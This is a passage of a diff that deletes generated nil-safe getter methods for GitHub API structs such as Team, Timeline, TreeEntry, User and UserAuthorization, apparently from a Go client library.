otherwise. -func (t *Team) GetRepositoriesURL() string { - if t == nil || t.RepositoriesURL == nil { - return "" - } - return *t.RepositoriesURL -} - -// GetSlug returns the Slug field if it's non-nil, zero value otherwise. -func (t *Team) GetSlug() string { - if t == nil || t.Slug == nil { - return "" - } - return *t.Slug -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *Team) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetInstallation returns the Installation field. -func (t *TeamAddEvent) GetInstallation() *Installation { - if t == nil { - return nil - } - return t.Installation -} - -// GetOrg returns the Org field. -func (t *TeamAddEvent) GetOrg() *Organization { - if t == nil { - return nil - } - return t.Org -} - -// GetRepo returns the Repo field. -func (t *TeamAddEvent) GetRepo() *Repository { - if t == nil { - return nil - } - return t.Repo -} - -// GetSender returns the Sender field. -func (t *TeamAddEvent) GetSender() *User { - if t == nil { - return nil - } - return t.Sender -} - -// GetTeam returns the Team field. -func (t *TeamAddEvent) GetTeam() *Team { - if t == nil { - return nil - } - return t.Team -} - -// GetAuthor returns the Author field. -func (t *TeamDiscussion) GetAuthor() *User { - if t == nil { - return nil - } - return t.Author -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetBody() string { - if t == nil || t.Body == nil { - return "" - } - return *t.Body -} - -// GetBodyHTML returns the BodyHTML field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetBodyHTML() string { - if t == nil || t.BodyHTML == nil { - return "" - } - return *t.BodyHTML -} - -// GetBodyVersion returns the BodyVersion field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetBodyVersion() string { - if t == nil || t.BodyVersion == nil { - return "" - } - return *t.BodyVersion -} - -// GetCommentsCount returns the CommentsCount field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetCommentsCount() int { - if t == nil || t.CommentsCount == nil { - return 0 - } - return *t.CommentsCount -} - -// GetCommentsURL returns the CommentsURL field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetCommentsURL() string { - if t == nil || t.CommentsURL == nil { - return "" - } - return *t.CommentsURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetCreatedAt() Timestamp { - if t == nil || t.CreatedAt == nil { - return Timestamp{} - } - return *t.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetHTMLURL() string { - if t == nil || t.HTMLURL == nil { - return "" - } - return *t.HTMLURL -} - -// GetLastEditedAt returns the LastEditedAt field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetLastEditedAt() Timestamp { - if t == nil || t.LastEditedAt == nil { - return Timestamp{} - } - return *t.LastEditedAt -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetNodeID() string { - if t == nil || t.NodeID == nil { - return "" - } - return *t.NodeID -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetNumber() int { - if t == nil || t.Number == nil { - return 0 - } - return *t.Number -} - -// GetPinned returns the Pinned field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetPinned() bool { - if t == nil || t.Pinned == nil { - return false - } - return *t.Pinned -} - -// GetPrivate returns the Private field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetPrivate() bool { - if t == nil || t.Private == nil { - return false - } - return *t.Private -} - -// GetReactions returns the Reactions field. -func (t *TeamDiscussion) GetReactions() *Reactions { - if t == nil { - return nil - } - return t.Reactions -} - -// GetTeamURL returns the TeamURL field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetTeamURL() string { - if t == nil || t.TeamURL == nil { - return "" - } - return *t.TeamURL -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetTitle() string { - if t == nil || t.Title == nil { - return "" - } - return *t.Title -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetUpdatedAt() Timestamp { - if t == nil || t.UpdatedAt == nil { - return Timestamp{} - } - return *t.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (t *TeamEvent) GetAction() string { - if t == nil || t.Action == nil { - return "" - } - return *t.Action -} - -// GetChanges returns the Changes field. -func (t *TeamEvent) GetChanges() *TeamChange { - if t == nil { - return nil - } - return t.Changes -} - -// GetInstallation returns the Installation field. -func (t *TeamEvent) GetInstallation() *Installation { - if t == nil { - return nil - } - return t.Installation -} - -// GetOrg returns the Org field. -func (t *TeamEvent) GetOrg() *Organization { - if t == nil { - return nil - } - return t.Org -} - -// GetRepo returns the Repo field. -func (t *TeamEvent) GetRepo() *Repository { - if t == nil { - return nil - } - return t.Repo -} - -// GetSender returns the Sender field. -func (t *TeamEvent) GetSender() *User { - if t == nil { - return nil - } - return t.Sender -} - -// GetTeam returns the Team field. -func (t *TeamEvent) GetTeam() *Team { - if t == nil { - return nil - } - return t.Team -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetDescription() string { - if t == nil || t.Description == nil { - return "" - } - return *t.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetID() int64 { - if t == nil || t.ID == nil { - return 0 - } - return *t.ID -} - -// GetLDAPDN returns the LDAPDN field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetLDAPDN() string { - if t == nil || t.LDAPDN == nil { - return "" - } - return *t.LDAPDN -} - -// GetMembersURL returns the MembersURL field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetMembersURL() string { - if t == nil || t.MembersURL == nil { - return "" - } - return *t.MembersURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetPermission() string { - if t == nil || t.Permission == nil { - return "" - } - return *t.Permission -} - -// GetPrivacy returns the Privacy field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetPrivacy() string { - if t == nil || t.Privacy == nil { - return "" - } - return *t.Privacy -} - -// GetRepositoriesURL returns the RepositoriesURL field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetRepositoriesURL() string { - if t == nil || t.RepositoriesURL == nil { - return "" - } - return *t.RepositoriesURL -} - -// GetSlug returns the Slug field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetSlug() string { - if t == nil || t.Slug == nil { - return "" - } - return *t.Slug -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (t *TeamProjectOptions) GetPermission() string { - if t == nil || t.Permission == nil { - return "" - } - return *t.Permission -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (t *TemplateRepoRequest) GetDescription() string { - if t == nil || t.Description == nil { - return "" - } - return *t.Description -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *TemplateRepoRequest) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetOwner returns the Owner field if it's non-nil, zero value otherwise. -func (t *TemplateRepoRequest) GetOwner() string { - if t == nil || t.Owner == nil { - return "" - } - return *t.Owner -} - -// GetPrivate returns the Private field if it's non-nil, zero value otherwise. -func (t *TemplateRepoRequest) GetPrivate() bool { - if t == nil || t.Private == nil { - return false - } - return *t.Private -} - -// GetFragment returns the Fragment field if it's non-nil, zero value otherwise. -func (t *TextMatch) GetFragment() string { - if t == nil || t.Fragment == nil { - return "" - } - return *t.Fragment -} - -// GetObjectType returns the ObjectType field if it's non-nil, zero value otherwise. -func (t *TextMatch) GetObjectType() string { - if t == nil || t.ObjectType == nil { - return "" - } - return *t.ObjectType -} - -// GetObjectURL returns the ObjectURL field if it's non-nil, zero value otherwise. -func (t *TextMatch) GetObjectURL() string { - if t == nil || t.ObjectURL == nil { - return "" - } - return *t.ObjectURL -} - -// GetProperty returns the Property field if it's non-nil, zero value otherwise. -func (t *TextMatch) GetProperty() string { - if t == nil || t.Property == nil { - return "" - } - return *t.Property -} - -// GetActor returns the Actor field. -func (t *Timeline) GetActor() *User { - if t == nil { - return nil - } - return t.Actor -} - -// GetAssignee returns the Assignee field. -func (t *Timeline) GetAssignee() *User { - if t == nil { - return nil - } - return t.Assignee -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (t *Timeline) GetCommitID() string { - if t == nil || t.CommitID == nil { - return "" - } - return *t.CommitID -} - -// GetCommitURL returns the CommitURL field if it's non-nil, zero value otherwise. -func (t *Timeline) GetCommitURL() string { - if t == nil || t.CommitURL == nil { - return "" - } - return *t.CommitURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (t *Timeline) GetCreatedAt() time.Time { - if t == nil || t.CreatedAt == nil { - return time.Time{} - } - return *t.CreatedAt -} - -// GetEvent returns the Event field if it's non-nil, zero value otherwise. -func (t *Timeline) GetEvent() string { - if t == nil || t.Event == nil { - return "" - } - return *t.Event -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (t *Timeline) GetID() int64 { - if t == nil || t.ID == nil { - return 0 - } - return *t.ID -} - -// GetLabel returns the Label field. -func (t *Timeline) GetLabel() *Label { - if t == nil { - return nil - } - return t.Label -} - -// GetMilestone returns the Milestone field. -func (t *Timeline) GetMilestone() *Milestone { - if t == nil { - return nil - } - return t.Milestone -} - -// GetProjectCard returns the ProjectCard field. -func (t *Timeline) GetProjectCard() *ProjectCard { - if t == nil { - return nil - } - return t.ProjectCard -} - -// GetRename returns the Rename field. -func (t *Timeline) GetRename() *Rename { - if t == nil { - return nil - } - return t.Rename -} - -// GetSource returns the Source field. -func (t *Timeline) GetSource() *Source { - if t == nil { - return nil - } - return t.Source -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *Timeline) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetCreatedAt() Timestamp { - if t == nil || t.CreatedAt == nil { - return Timestamp{} - } - return *t.CreatedAt -} - -// GetCreatedBy returns the CreatedBy field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetCreatedBy() string { - if t == nil || t.CreatedBy == nil { - return "" - } - return *t.CreatedBy -} - -// GetCurated returns the Curated field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetCurated() bool { - if t == nil || t.Curated == nil { - return false - } - return *t.Curated -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetDescription() string { - if t == nil || t.Description == nil { - return "" - } - return *t.Description -} - -// GetDisplayName returns the DisplayName field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetDisplayName() string { - if t == nil || t.DisplayName == nil { - return "" - } - return *t.DisplayName -} - -// GetFeatured returns the Featured field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetFeatured() bool { - if t == nil || t.Featured == nil { - return false - } - return *t.Featured -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetScore returns the Score field. -func (t *TopicResult) GetScore() *float64 { - if t == nil { - return nil - } - return t.Score -} - -// GetShortDescription returns the ShortDescription field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetShortDescription() string { - if t == nil || t.ShortDescription == nil { - return "" - } - return *t.ShortDescription -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetUpdatedAt() string { - if t == nil || t.UpdatedAt == nil { - return "" - } - return *t.UpdatedAt -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (t *TopicsSearchResult) GetIncompleteResults() bool { - if t == nil || t.IncompleteResults == nil { - return false - } - return *t.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (t *TopicsSearchResult) GetTotal() int { - if t == nil || t.Total == nil { - return 0 - } - return *t.Total -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (t *TrafficClones) GetCount() int { - if t == nil || t.Count == nil { - return 0 - } - return *t.Count -} - -// GetUniques returns the Uniques field if it's non-nil, zero value otherwise. -func (t *TrafficClones) GetUniques() int { - if t == nil || t.Uniques == nil { - return 0 - } - return *t.Uniques -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (t *TrafficData) GetCount() int { - if t == nil || t.Count == nil { - return 0 - } - return *t.Count -} - -// GetTimestamp returns the Timestamp field if it's non-nil, zero value otherwise. -func (t *TrafficData) GetTimestamp() Timestamp { - if t == nil || t.Timestamp == nil { - return Timestamp{} - } - return *t.Timestamp -} - -// GetUniques returns the Uniques field if it's non-nil, zero value otherwise. -func (t *TrafficData) GetUniques() int { - if t == nil || t.Uniques == nil { - return 0 - } - return *t.Uniques -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (t *TrafficPath) GetCount() int { - if t == nil || t.Count == nil { - return 0 - } - return *t.Count -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (t *TrafficPath) GetPath() string { - if t == nil || t.Path == nil { - return "" - } - return *t.Path -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (t *TrafficPath) GetTitle() string { - if t == nil || t.Title == nil { - return "" - } - return *t.Title -} - -// GetUniques returns the Uniques field if it's non-nil, zero value otherwise. -func (t *TrafficPath) GetUniques() int { - if t == nil || t.Uniques == nil { - return 0 - } - return *t.Uniques -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (t *TrafficReferrer) GetCount() int { - if t == nil || t.Count == nil { - return 0 - } - return *t.Count -} - -// GetReferrer returns the Referrer field if it's non-nil, zero value otherwise. -func (t *TrafficReferrer) GetReferrer() string { - if t == nil || t.Referrer == nil { - return "" - } - return *t.Referrer -} - -// GetUniques returns the Uniques field if it's non-nil, zero value otherwise. -func (t *TrafficReferrer) GetUniques() int { - if t == nil || t.Uniques == nil { - return 0 - } - return *t.Uniques -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (t *TrafficViews) GetCount() int { - if t == nil || t.Count == nil { - return 0 - } - return *t.Count -} - -// GetUniques returns the Uniques field if it's non-nil, zero value otherwise. -func (t *TrafficViews) GetUniques() int { - if t == nil || t.Uniques == nil { - return 0 - } - return *t.Uniques -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (t *Tree) GetSHA() string { - if t == nil || t.SHA == nil { - return "" - } - return *t.SHA -} - -// GetTruncated returns the Truncated field if it's non-nil, zero value otherwise. -func (t *Tree) GetTruncated() bool { - if t == nil || t.Truncated == nil { - return false - } - return *t.Truncated -} - -// GetContent returns the Content field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetContent() string { - if t == nil || t.Content == nil { - return "" - } - return *t.Content -} - -// GetMode returns the Mode field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetMode() string { - if t == nil || t.Mode == nil { - return "" - } - return *t.Mode -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetPath() string { - if t == nil || t.Path == nil { - return "" - } - return *t.Path -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetSHA() string { - if t == nil || t.SHA == nil { - return "" - } - return *t.SHA -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetSize() int { - if t == nil || t.Size == nil { - return 0 - } - return *t.Size -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetType() string { - if t == nil || t.Type == nil { - return "" - } - return *t.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetCompletedAt returns the CompletedAt field if it's non-nil, zero value otherwise. -func (u *UpdateCheckRunOptions) GetCompletedAt() Timestamp { - if u == nil || u.CompletedAt == nil { - return Timestamp{} - } - return *u.CompletedAt -} - -// GetConclusion returns the Conclusion field if it's non-nil, zero value otherwise. -func (u *UpdateCheckRunOptions) GetConclusion() string { - if u == nil || u.Conclusion == nil { - return "" - } - return *u.Conclusion -} - -// GetDetailsURL returns the DetailsURL field if it's non-nil, zero value otherwise. -func (u *UpdateCheckRunOptions) GetDetailsURL() string { - if u == nil || u.DetailsURL == nil { - return "" - } - return *u.DetailsURL -} - -// GetExternalID returns the ExternalID field if it's non-nil, zero value otherwise. -func (u *UpdateCheckRunOptions) GetExternalID() string { - if u == nil || u.ExternalID == nil { - return "" - } - return *u.ExternalID -} - -// GetHeadSHA returns the HeadSHA field if it's non-nil, zero value otherwise. -func (u *UpdateCheckRunOptions) GetHeadSHA() string { - if u == nil || u.HeadSHA == nil { - return "" - } - return *u.HeadSHA -} - -// GetOutput returns the Output field. -func (u *UpdateCheckRunOptions) GetOutput() *CheckRunOutput { - if u == nil { - return nil - } - return u.Output -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (u *UpdateCheckRunOptions) GetStatus() string { - if u == nil || u.Status == nil { - return "" - } - return *u.Status -} - -// GetAvatarURL returns the AvatarURL field if it's non-nil, zero value otherwise. -func (u *User) GetAvatarURL() string { - if u == nil || u.AvatarURL == nil { - return "" - } - return *u.AvatarURL -} - -// GetBio returns the Bio field if it's non-nil, zero value otherwise. -func (u *User) GetBio() string { - if u == nil || u.Bio == nil { - return "" - } - return *u.Bio -} - -// GetBlog returns the Blog field if it's non-nil, zero value otherwise. -func (u *User) GetBlog() string { - if u == nil || u.Blog == nil { - return "" - } - return *u.Blog -} - -// GetCollaborators returns the Collaborators field if it's non-nil, zero value otherwise. -func (u *User) GetCollaborators() int { - if u == nil || u.Collaborators == nil { - return 0 - } - return *u.Collaborators -} - -// GetCompany returns the Company field if it's non-nil, zero value otherwise. -func (u *User) GetCompany() string { - if u == nil || u.Company == nil { - return "" - } - return *u.Company -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (u *User) GetCreatedAt() Timestamp { - if u == nil || u.CreatedAt == nil { - return Timestamp{} - } - return *u.CreatedAt -} - -// GetDiskUsage returns the DiskUsage field if it's non-nil, zero value otherwise. -func (u *User) GetDiskUsage() int { - if u == nil || u.DiskUsage == nil { - return 0 - } - return *u.DiskUsage -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (u *User) GetEmail() string { - if u == nil || u.Email == nil { - return "" - } - return *u.Email -} - -// GetEventsURL returns the EventsURL field if it's non-nil, zero value otherwise. -func (u *User) GetEventsURL() string { - if u == nil || u.EventsURL == nil { - return "" - } - return *u.EventsURL -} - -// GetFollowers returns the Followers field if it's non-nil, zero value otherwise. -func (u *User) GetFollowers() int { - if u == nil || u.Followers == nil { - return 0 - } - return *u.Followers -} - -// GetFollowersURL returns the FollowersURL field if it's non-nil, zero value otherwise. -func (u *User) GetFollowersURL() string { - if u == nil || u.FollowersURL == nil { - return "" - } - return *u.FollowersURL -} - -// GetFollowing returns the Following field if it's non-nil, zero value otherwise. -func (u *User) GetFollowing() int { - if u == nil || u.Following == nil { - return 0 - } - return *u.Following -} - -// GetFollowingURL returns the FollowingURL field if it's non-nil, zero value otherwise. -func (u *User) GetFollowingURL() string { - if u == nil || u.FollowingURL == nil { - return "" - } - return *u.FollowingURL -} - -// GetGistsURL returns the GistsURL field if it's non-nil, zero value otherwise. -func (u *User) GetGistsURL() string { - if u == nil || u.GistsURL == nil { - return "" - } - return *u.GistsURL -} - -// GetGravatarID returns the GravatarID field if it's non-nil, zero value otherwise. -func (u *User) GetGravatarID() string { - if u == nil || u.GravatarID == nil { - return "" - } - return *u.GravatarID -} - -// GetHireable returns the Hireable field if it's non-nil, zero value otherwise. -func (u *User) GetHireable() bool { - if u == nil || u.Hireable == nil { - return false - } - return *u.Hireable -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (u *User) GetHTMLURL() string { - if u == nil || u.HTMLURL == nil { - return "" - } - return *u.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (u *User) GetID() int64 { - if u == nil || u.ID == nil { - return 0 - } - return *u.ID -} - -// GetLdapDn returns the LdapDn field if it's non-nil, zero value otherwise. -func (u *User) GetLdapDn() string { - if u == nil || u.LdapDn == nil { - return "" - } - return *u.LdapDn -} - -// GetLocation returns the Location field if it's non-nil, zero value otherwise. -func (u *User) GetLocation() string { - if u == nil || u.Location == nil { - return "" - } - return *u.Location -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (u *User) GetLogin() string { - if u == nil || u.Login == nil { - return "" - } - return *u.Login -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (u *User) GetName() string { - if u == nil || u.Name == nil { - return "" - } - return *u.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (u *User) GetNodeID() string { - if u == nil || u.NodeID == nil { - return "" - } - return *u.NodeID -} - -// GetOrganizationsURL returns the OrganizationsURL field if it's non-nil, zero value otherwise. -func (u *User) GetOrganizationsURL() string { - if u == nil || u.OrganizationsURL == nil { - return "" - } - return *u.OrganizationsURL -} - -// GetOwnedPrivateRepos returns the OwnedPrivateRepos field if it's non-nil, zero value otherwise. -func (u *User) GetOwnedPrivateRepos() int { - if u == nil || u.OwnedPrivateRepos == nil { - return 0 - } - return *u.OwnedPrivateRepos -} - -// GetPermissions returns the Permissions field if it's non-nil, zero value otherwise. -func (u *User) GetPermissions() map[string]bool { - if u == nil || u.Permissions == nil { - return map[string]bool{} - } - return *u.Permissions -} - -// GetPlan returns the Plan field. -func (u *User) GetPlan() *Plan { - if u == nil { - return nil - } - return u.Plan -} - -// GetPrivateGists returns the PrivateGists field if it's non-nil, zero value otherwise. -func (u *User) GetPrivateGists() int { - if u == nil || u.PrivateGists == nil { - return 0 - } - return *u.PrivateGists -} - -// GetPublicGists returns the PublicGists field if it's non-nil, zero value otherwise. -func (u *User) GetPublicGists() int { - if u == nil || u.PublicGists == nil { - return 0 - } - return *u.PublicGists -} - -// GetPublicRepos returns the PublicRepos field if it's non-nil, zero value otherwise. -func (u *User) GetPublicRepos() int { - if u == nil || u.PublicRepos == nil { - return 0 - } - return *u.PublicRepos -} - -// GetReceivedEventsURL returns the ReceivedEventsURL field if it's non-nil, zero value otherwise. -func (u *User) GetReceivedEventsURL() string { - if u == nil || u.ReceivedEventsURL == nil { - return "" - } - return *u.ReceivedEventsURL -} - -// GetReposURL returns the ReposURL field if it's non-nil, zero value otherwise. -func (u *User) GetReposURL() string { - if u == nil || u.ReposURL == nil { - return "" - } - return *u.ReposURL -} - -// GetSiteAdmin returns the SiteAdmin field if it's non-nil, zero value otherwise. -func (u *User) GetSiteAdmin() bool { - if u == nil || u.SiteAdmin == nil { - return false - } - return *u.SiteAdmin -} - -// GetStarredURL returns the StarredURL field if it's non-nil, zero value otherwise. -func (u *User) GetStarredURL() string { - if u == nil || u.StarredURL == nil { - return "" - } - return *u.StarredURL -} - -// GetSubscriptionsURL returns the SubscriptionsURL field if it's non-nil, zero value otherwise. -func (u *User) GetSubscriptionsURL() string { - if u == nil || u.SubscriptionsURL == nil { - return "" - } - return *u.SubscriptionsURL -} - -// GetSuspendedAt returns the SuspendedAt field if it's non-nil, zero value otherwise. -func (u *User) GetSuspendedAt() Timestamp { - if u == nil || u.SuspendedAt == nil { - return Timestamp{} - } - return *u.SuspendedAt -} - -// GetTotalPrivateRepos returns the TotalPrivateRepos field if it's non-nil, zero value otherwise. -func (u *User) GetTotalPrivateRepos() int { - if u == nil || u.TotalPrivateRepos == nil { - return 0 - } - return *u.TotalPrivateRepos -} - -// GetTwoFactorAuthentication returns the TwoFactorAuthentication field if it's non-nil, zero value otherwise. -func (u *User) GetTwoFactorAuthentication() bool { - if u == nil || u.TwoFactorAuthentication == nil { - return false - } - return *u.TwoFactorAuthentication -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (u *User) GetType() string { - if u == nil || u.Type == nil { - return "" - } - return *u.Type -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (u *User) GetUpdatedAt() Timestamp { - if u == nil || u.UpdatedAt == nil { - return Timestamp{} - } - return *u.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (u *User) GetURL() string { - if u == nil || u.URL == nil { - return "" - } - return *u.URL -} - -// GetApp returns the App field. -func (u *UserAuthorization) GetApp() *OAuthAPP { - if u == nil { - return nil - } - return u.App -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetCreatedAt() Timestamp { - if u == nil || u.CreatedAt == nil { - return Timestamp{} - } - return *u.CreatedAt -} - -// GetFingerprint returns the Fingerprint field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetFingerprint() string { - if u == nil || u.Fingerprint == nil { - return "" - } - return *u.Fingerprint -} - -// GetHashedToken returns the HashedToken field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetHashedToken() string { - if u == nil || u.HashedToken == nil { - return "" - } - return *u.HashedToken -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetID() int64 { - if u == nil || u.ID == nil { - return 0 - } - return *u.ID -} - -// GetNote returns the Note field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetNote() string { - if u == nil || u.Note == nil { - return "" - } - return *u.Note -} - -// GetNoteURL returns the NoteURL field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetNoteURL() string { - if u == nil || u.NoteURL == nil { - return "" - } - return *u.NoteURL -} - -// GetToken returns the Token field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetToken() string { - if u == nil || u.Token == nil { - return "" - } - return *u.Token -} - -// GetTokenLastEight returns the TokenLastEight field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetTokenLastEight() string { - if u == nil || u.TokenLastEight == nil { - return "" - } - return *u.TokenLastEight -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetUpdatedAt() Timestamp { - if u == nil || u.UpdatedAt == nil { - return Timestamp{} - } - return *u.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetURL() string { - if u == nil || u.URL == nil { - return "" - } - return *u.URL -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (u *UserContext) GetMessage() string { - if u == nil || u.Message == nil { - return "" - } - return *u.Message -} - -// GetOcticon returns the Octicon field if it's non-nil, zero value otherwise. -func (u *UserContext) GetOcticon() string { - if u == nil || u.Octicon == nil { - return "" - } - return *u.Octicon -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (u *UserEmail) GetEmail() string { - if u == nil || u.Email == nil { - return "" - } - return *u.Email -} - -// GetPrimary returns the Primary field if it's non-nil, zero value otherwise. -func (u *UserEmail) GetPrimary() bool { - if u == nil || u.Primary == nil { - return false - } - return *u.Primary -} - -// GetVerified returns the Verified field if it's non-nil, zero value otherwise. -func (u *UserEmail) GetVerified() bool { - if u == nil || u.Verified == nil { - return false - } - return *u.Verified -} - -// GetVisibility returns the Visibility field if it's non-nil, zero value otherwise. -func (u *UserEmail) GetVisibility() string { - if u == nil || u.Visibility == nil { - return "" - } - return *u.Visibility -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (u *UserEvent) GetAction() string { - if u == nil || u.Action == nil { - return "" - } - return *u.Action -} - -// GetEnterprise returns the Enterprise field. -func (u *UserEvent) GetEnterprise() *Enterprise { - if u == nil { - return nil - } - return u.Enterprise -} - -// GetSender returns the Sender field. -func (u *UserEvent) GetSender() *User { - if u == nil { - return nil - } - return u.Sender -} - -// GetUser returns the User field. -func (u *UserEvent) GetUser() *User { - if u == nil { - return nil - } - return u.User -} - -// GetAvatarURL returns the AvatarURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetAvatarURL() string { - if u == nil || u.AvatarURL == nil { - return "" - } - return *u.AvatarURL -} - -// GetEventsURL returns the EventsURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetEventsURL() string { - if u == nil || u.EventsURL == nil { - return "" - } - return *u.EventsURL -} - -// GetFollowersURL returns the FollowersURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetFollowersURL() string { - if u == nil || u.FollowersURL == nil { - return "" - } - return *u.FollowersURL -} - -// GetFollowingURL returns the FollowingURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetFollowingURL() string { - if u == nil || u.FollowingURL == nil { - return "" - } - return *u.FollowingURL -} - -// GetGistsURL returns the GistsURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetGistsURL() string { - if u == nil || u.GistsURL == nil { - return "" - } - return *u.GistsURL -} - -// GetGravatarID returns the GravatarID field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetGravatarID() string { - if u == nil || u.GravatarID == nil { - return "" - } - return *u.GravatarID -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetID() int64 { - if u == nil || u.ID == nil { - return 0 - } - return *u.ID -} - -// GetLDAPDN returns the LDAPDN field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetLDAPDN() string { - if u == nil || 